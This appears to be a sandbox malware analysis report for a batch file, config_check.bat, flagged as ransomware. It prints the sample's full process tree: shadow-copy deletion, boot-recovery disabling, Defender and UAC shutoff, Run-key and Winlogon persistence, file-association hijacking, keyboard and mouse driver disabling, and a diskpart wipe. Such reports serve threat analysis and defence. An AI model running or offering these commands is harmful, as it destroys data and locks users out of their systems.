a44bfab8a3758325b3e35d0b6341db0dbb0c906b6c5842fcd1b5bbc11f85b981

Resubmissions

26/06/2026, 15:54

260626-tb7fyscx5110

26/06/2026, 15:51

260626-tal4macx5t10

Analysis

user interaction
yes
max time kernel
20s
max time network
24s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
26/06/2026, 15:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

Reason

Machine shutdown

General

Target
config_check.bat
Size 3KB
Sample260626-tb7fyscx51
SHA256 a44bfab8a3758325b3e35d0b6341db0dbb0c906b6c5842fcd1b5bbc11f85b981
MD5 3b425a7b247decd4ae1f78b4dbf1a905
SHA1 d67662a7aa151704a467a5e72a269cfb28135a4d
SHA512 1c93cdb87fa1308faefdd72e2554f5361f900b52dbd0afbe7866cafcf9ca744eced9722f5ab35dcf5ad1b47acd2d2782b810204d23caf7d79e1de1dd0ac88ba1
TLSH
T1A481DF207D168373E6A1B130E40F6953FBBBF3CB2850ABA175973091947B189C97D2E6
MD5 SHA1 SHA512 TLSH

Score

10^/10

defense_evasion evasion execution impact persistence ransomware trojan

Malware Config

Signatures

Modifies WinLogon for persistence 2 TTPs 4 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "cmd.exe,"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit = "cmd.exe,"	reg.exe

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

UAC bypass 3 TTPs 4 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	reg.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047

Modifies boot configuration data using bcdedit 1 TTPs 10 IoCs

ransomware evasion

Inhibit System Recovery

T1490

pid	Process
1272	bcdedit.exe
4964	bcdedit.exe
4636	bcdedit.exe
3872	bcdedit.exe
1256	bcdedit.exe
2704	bcdedit.exe
4516	bcdedit.exe
2988	bcdedit.exe
5944	bcdedit.exe
5656	bcdedit.exe

Disables Task Manager via registry modification
defense_evasion

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	cmd.exe

Modifies system executable filetype association 2 TTPs 4 IoCs

persistence

Modify Registry

T1112

Change Default File Association

T1546.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "cmd.exe"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "cmd.exe"	reg.exe

Adds Run key to start application 2 TTPs 6 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Critical_System_Svc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\config_check.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Cleanup = "cmd.exe /c del /q /f C:\\Users\\Admin\\AppData\\Local\\Temp\\config_check.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000\Software\Microsoft\Windows\CurrentVersion\Run\Critical_System_Svc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\config_check.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Critical_System_Svc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\config_check.bat"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\Cleanup = "cmd.exe /c del /q /f C:\\Users\\Admin\\AppData\\Local\\Temp\\config_check.bat"	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-537605601-1362463912-856654178-1000\Software\Microsoft\Windows\CurrentVersion\Run\Critical_System_Svc = "C:\\Users\\Admin\\AppData\\Local\\Temp\\config_check.bat"	reg.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Power Settings 1 TTPs 2 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
3040	powercfg.exe
4280	powercfg.exe

Checks SCSI registry key(s) 3 TTPs 4 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_DADY&PROD_HL-DT-ST_DVD+-RW\4&215468A5&0&010000	vds.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName	vds.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	vds.exe

Interacts with shadow copies 3 TTPs 2 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2648	vssadmin.exe
3948	vssadmin.exe

Kills process with taskkill 3 IoCs

defense_evasion

pid	Process
3000	taskkill.exe
2956	taskkill.exe
5228	taskkill.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe\ = "txtfile"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat\ = "txtfile"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\exefile\shell\open\command\ = "cmd.exe"	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.exe\ = "txtfile"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.bat	reg.exe

Runs net.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeBackupPrivilege	3332	vssvc.exe
Token: SeRestorePrivilege	3332	vssvc.exe
Token: SeAuditPrivilege	3332	vssvc.exe
Token: SeShutdownPrivilege	3040	powercfg.exe
Token: SeCreatePagefilePrivilege	3040	powercfg.exe
Token: SeShutdownPrivilege	3040	powercfg.exe
Token: SeCreatePagefilePrivilege	3040	powercfg.exe
Token: SeShutdownPrivilege	4280	powercfg.exe
Token: SeCreatePagefilePrivilege	4280	powercfg.exe
Token: SeShutdownPrivilege	4280	powercfg.exe
Token: SeCreatePagefilePrivilege	4280	powercfg.exe
Token: SeDebugPrivilege	3000	taskkill.exe
Token: SeDebugPrivilege	2956	taskkill.exe

Suspicious use of WriteProcessMemory 38 IoCs

description	pid	Process	procid_target
PID 5244 wrote to memory of 1368	5244	cmd.exe	90
PID 5244 wrote to memory of 4708	5244	cmd.exe	91
PID 5244 wrote to memory of 2036	5244	cmd.exe	92
PID 5244 wrote to memory of 1424	5244	cmd.exe	93
PID 5244 wrote to memory of 3752	5244	cmd.exe	94
PID 5244 wrote to memory of 4404	5244	cmd.exe	95
PID 5244 wrote to memory of 5212	5244	cmd.exe	96
PID 5244 wrote to memory of 2648	5244	cmd.exe	97
PID 5244 wrote to memory of 1272	5244	cmd.exe	100
PID 5244 wrote to memory of 4964	5244	cmd.exe	101
PID 5244 wrote to memory of 4636	5244	cmd.exe	102
PID 5244 wrote to memory of 3872	5244	cmd.exe	103
PID 5244 wrote to memory of 1256	5244	cmd.exe	104
PID 5244 wrote to memory of 4508	5244	cmd.exe	105
PID 5244 wrote to memory of 4292	5244	cmd.exe	106
PID 5244 wrote to memory of 5560	5244	cmd.exe	107
PID 5244 wrote to memory of 2576	5244	cmd.exe	108
PID 5244 wrote to memory of 1492	5244	cmd.exe	109
PID 5244 wrote to memory of 1988	5244	cmd.exe	110
PID 5244 wrote to memory of 2580	5244	cmd.exe	111
PID 5244 wrote to memory of 5156	5244	cmd.exe	112
PID 5244 wrote to memory of 5976	5244	cmd.exe	113
PID 5244 wrote to memory of 3684	5244	cmd.exe	114
PID 5244 wrote to memory of 3640	5244	cmd.exe	115
PID 5244 wrote to memory of 5016	5244	cmd.exe	116
PID 5244 wrote to memory of 5108	5244	cmd.exe	117
PID 5244 wrote to memory of 2384	5244	cmd.exe	118
PID 5244 wrote to memory of 3040	5244	cmd.exe	119
PID 5244 wrote to memory of 2208	5244	cmd.exe	120
PID 5244 wrote to memory of 5964	5244	cmd.exe	121
PID 5244 wrote to memory of 3912	5244	cmd.exe	122
PID 5244 wrote to memory of 6000	5244	cmd.exe	123
PID 5244 wrote to memory of 2404	5244	cmd.exe	127
PID 5244 wrote to memory of 5520	5244	cmd.exe	128
PID 5244 wrote to memory of 1512	5244	cmd.exe	129
PID 1512 wrote to memory of 5444	1512	net.exe	130
PID 5244 wrote to memory of 252	5244	cmd.exe	134
PID 6068 wrote to memory of 5320	6068	net.exe	171

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\config_check.bat"
1⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
PID:5244
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:1368
- C:\Windows\system32\cscript.exe
  cscript //nologo "C:\Users\Admin\AppData\Local\Temp\msg.vbs"
  2⤵
  PID:4708
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispCPL /t REG_DWORD /d 1 /f
  2⤵
  PID:2036
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispBackgroundPage /t REG_DWORD /d 1 /f
  2⤵
  PID:1424
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDevMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:3752
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network" /v NoNetSetup /t REG_DWORD /d 1 /f
  2⤵
  PID:4404
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
  2⤵
  PID:5212
- C:\Windows\system32\vssadmin.exe
  vssadmin delete shadows /for=c: /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:2648
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} recoveryenabled No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1272
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} bootstatuspolicy ignoreallfailures
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4964
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {default} advancedoptions No
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:4636
- C:\Windows\system32\bcdedit.exe
  bcdedit /timeout 0
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:3872
- C:\Windows\system32\bcdedit.exe
  bcdedit /set {bootmgr} displaybootmenu no
  2⤵
  - Modifies boot configuration data using bcdedit
  PID:1256
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4508
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
  2⤵
  - Modifies Windows Defender DisableAntiSpyware settings
  PID:4292
- C:\Windows\system32\reg.exe
  reg add "HKCR\.exe" /ve /t REG_SZ /d "txtfile" /f
  2⤵
  - Modifies registry class
  PID:5560
- C:\Windows\system32\reg.exe
  reg add "HKCR\.bat" /ve /t REG_SZ /d "txtfile" /f
  2⤵
  - Modifies registry class
  PID:2576
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:1492
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:1988
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Modifies WinLogon for persistence
  PID:2580
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "cmd.exe," /f
  2⤵
  - Modifies WinLogon for persistence
  PID:5156
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
  2⤵
  - Adds Run key to start application
  PID:5976
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
  2⤵
  - Adds Run key to start application
  PID:3684
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Cleanup" /t REG_SZ /d "cmd.exe /c del /q /f C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
  2⤵
  - Adds Run key to start application
  PID:3640
- C:\Windows\system32\reg.exe
  reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
  2⤵
  - Modifies system executable filetype association
  - Modifies registry class
  PID:5016
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
  2⤵
  PID:5108
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies" /v WriteProtect /t REG_DWORD /d 1 /f
  2⤵
  PID:2384
- C:\Windows\system32\powercfg.exe
  powercfg -h off
  2⤵
  - Power Settings
  - Suspicious use of AdjustPrivilegeToken
  PID:3040
- C:\Windows\system32\fsutil.exe
  fsutil behavior set disablelastaccess 1
  2⤵
  PID:2208
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:5964
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
  2⤵
  - UAC bypass
  PID:3912
- C:\Windows\system32\reg.exe
  reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  PID:6000
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:2404
- C:\Windows\system32\reg.exe
  reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v Start /t REG_DWORD /d 4 /f
  2⤵
  PID:5520
- C:\Windows\system32\net.exe
  net user Administrator 1234567890ABCDEF /active:yes
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1512
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user Administrator 1234567890ABCDEF /active:yes
    3⤵
    PID:5444
- C:\Windows\system32\diskpart.exe
  diskpart /s "C:\Users\Admin\AppData\Local\Temp\wipe.txt"
  2⤵
  PID:252

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3332

C:\Windows\system32\cacls.exe
"C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
1⤵
PID:2564

C:\Windows\System32\cmd.exe
cmd.exe
1⤵
PID:5068

C:\Windows\System32\cscript.exe
cscript //nologo "C:\Users\Admin\AppData\Local\Temp\msg.vbs"
1⤵
PID:1464

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4900

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
- Checks SCSI registry key(s)
PID:4140

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispCPL /t REG_DWORD /d 1 /f
1⤵
PID:4452

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDispBackgroundPage /t REG_DWORD /d 1 /f
1⤵
PID:2796

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v NoDevMgr /t REG_DWORD /d 1 /f
1⤵
PID:1212

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Network" /v NoNetSetup /t REG_DWORD /d 1 /f
1⤵
PID:4068

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoFolderOptions /t REG_DWORD /d 1 /f
1⤵
PID:2040

C:\Windows\System32\vssadmin.exe
vssadmin delete shadows /for=c: /all /quiet
1⤵
- Interacts with shadow copies
PID:3948

C:\Windows\System32\bcdedit.exe
bcdedit /set {default} recoveryenabled No
1⤵
- Modifies boot configuration data using bcdedit
PID:2704

C:\Windows\System32\bcdedit.exe
bcdedit /set {default} bootstatuspolicy ignoreallfailures
1⤵
- Modifies boot configuration data using bcdedit
PID:4516

C:\Windows\System32\bcdedit.exe
bcdedit /set {default} advancedoptions No
1⤵
- Modifies boot configuration data using bcdedit
PID:2988

C:\Windows\System32\bcdedit.exe
bcdedit /timeout 0
1⤵
- Modifies boot configuration data using bcdedit
PID:5944

C:\Windows\System32\bcdedit.exe
bcdedit /set {bootmgr} displaybootmenu no
1⤵
- Modifies boot configuration data using bcdedit
PID:5656

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
1⤵
PID:2960

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
PID:3300

C:\Windows\System32\reg.exe
reg add "HKCR\.exe" /ve /t REG_SZ /d "txtfile" /f
1⤵
- Modifies registry class
PID:5240

C:\Windows\System32\reg.exe
reg add "HKCR\.bat" /ve /t REG_SZ /d "txtfile" /f
1⤵
- Modifies registry class
PID:1028

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
1⤵
PID:2380

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
1⤵
PID:5148

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /t REG_SZ /d "cmd.exe" /f
1⤵
- Modifies WinLogon for persistence
PID:2904

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /t REG_SZ /d "cmd.exe," /f
1⤵
- Modifies WinLogon for persistence
PID:5544

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
1⤵
- Adds Run key to start application
PID:3584

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Critical_System_Svc" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
1⤵
- Adds Run key to start application
PID:4268

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" /v "Cleanup" /t REG_SZ /d "cmd.exe /c del /q /f C:\Users\Admin\AppData\Local\Temp\config_check.bat" /f
1⤵
- Adds Run key to start application
PID:1268

C:\Windows\System32\reg.exe
reg add "HKCR\exefile\shell\open\command" /ve /t REG_SZ /d "cmd.exe" /f
1⤵
- Modifies system executable filetype association
- Modifies registry class
PID:1072

C:\Windows\System32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" /v AutoShareWks /t REG_DWORD /d 0 /f
1⤵
PID:4792

C:\Windows\System32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Control\StorageDevicePolicies" /v WriteProtect /t REG_DWORD /d 1 /f
1⤵
PID:5364

C:\Windows\System32\powercfg.exe
powercfg -h off
1⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:4280

C:\Windows\System32\fsutil.exe
fsutil behavior set disablelastaccess 1
1⤵
PID:1488

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
1⤵
- UAC bypass
PID:5480

C:\Windows\System32\reg.exe
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
1⤵
- UAC bypass
PID:1700

C:\Windows\System32\reg.exe
reg add "HKCU\Software\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
1⤵
PID:1560

C:\Windows\System32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\mouclass" /v Start /t REG_DWORD /d 4 /f
1⤵
PID:964

C:\Windows\System32\reg.exe
reg add "HKLM\SYSTEM\CurrentControlSet\Services\kbdclass" /v Start /t REG_DWORD /d 4 /f
1⤵
PID:1316

C:\Windows\System32\net.exe
net user Administrator 1234567890ABCDEF /active:yes
1⤵
- Suspicious use of WriteProcessMemory
PID:6068
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 user Administrator 1234567890ABCDEF /active:yes
  2⤵
  PID:5320

C:\Windows\System32\diskpart.exe
diskpart /s "C:\Users\Admin\AppData\Local\Temp\wipe.txt"
1⤵
PID:712

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:4072

C:\Windows\System32\taskkill.exe
taskkill /f /im explorer.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3000

C:\Windows\System32\taskkill.exe
taskkill /f /im wininit.exe
1⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:2956

C:\Windows\System32\taskkill.exe
taskkill /f /im csrss.exe
1⤵
- Kills process with taskkill
PID:5228

C:\Windows\System32\shutdown.exe
shutdown /r /t 0 /f
1⤵
PID:5676

C:\Windows\system32\LogonUI.exe
"LogonUI.exe" /flags:0x4 /state0:0xa39ca055 /state1:0x41c64e6d
1⤵
PID:6072

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k CameraMonitor
1⤵
PID:4644

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Power Settings

T1653

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Change Default File Association

T1546.001

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490

Replay Monitor

Loading Replay Monitor...

Downloads

msg.vbs

Path C:\Users\Admin\AppData\Local\Temp\msg.vbs
Size 115B
SHA256 8cb9a1eedd6972abcba897ff0007fef8f804cef1d7fb7b9e1a5fb24f5229a2d8
MD5 178b11e948b76155874a944cfe9fa2f5
SHA1 034fbc9aa94f01a1f1d935b35a036ef1fd3460b8
SHA512 93b4b148405ee7f995c5d7fad5dd3d2101143435404451b9e020c802a8b64f5cd4573ed6a9785a6ce6a8f3abc7867faaf424ac5be573852cd5401243e08121a8
TLSH
T1A7B0929A168672FD1009A11D54847D08AC65ADFE4E1E96280F8A1AA4E0B8600C22A0AA
MD5 SHA1 SHA512 TLSH

Submit Download

wipe.txt

Path C:\Users\Admin\AppData\Local\Temp\wipe.txt
Size 31B
SHA256 1bbaf091d7665e035230e5561efae319e330153b5ab1ea0f8e829705b2b78233
MD5 af1dfc9563523516980edaa6fab12d10
SHA1 49ae19c2403a5e839780b3b3dd2a7b7e71a1d2e3
SHA512 c6249af0ff862a446d37edf50c6c6ff791988b666e2abe0e7ebe8a63cee98a748d6b3618afb1ae35d0682f41f286f440688e6803d99ce406feac4f99b6286665
MD5 SHA1 SHA512

Submit Download

Resubmissions

Analysis

Sharing

Errors

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads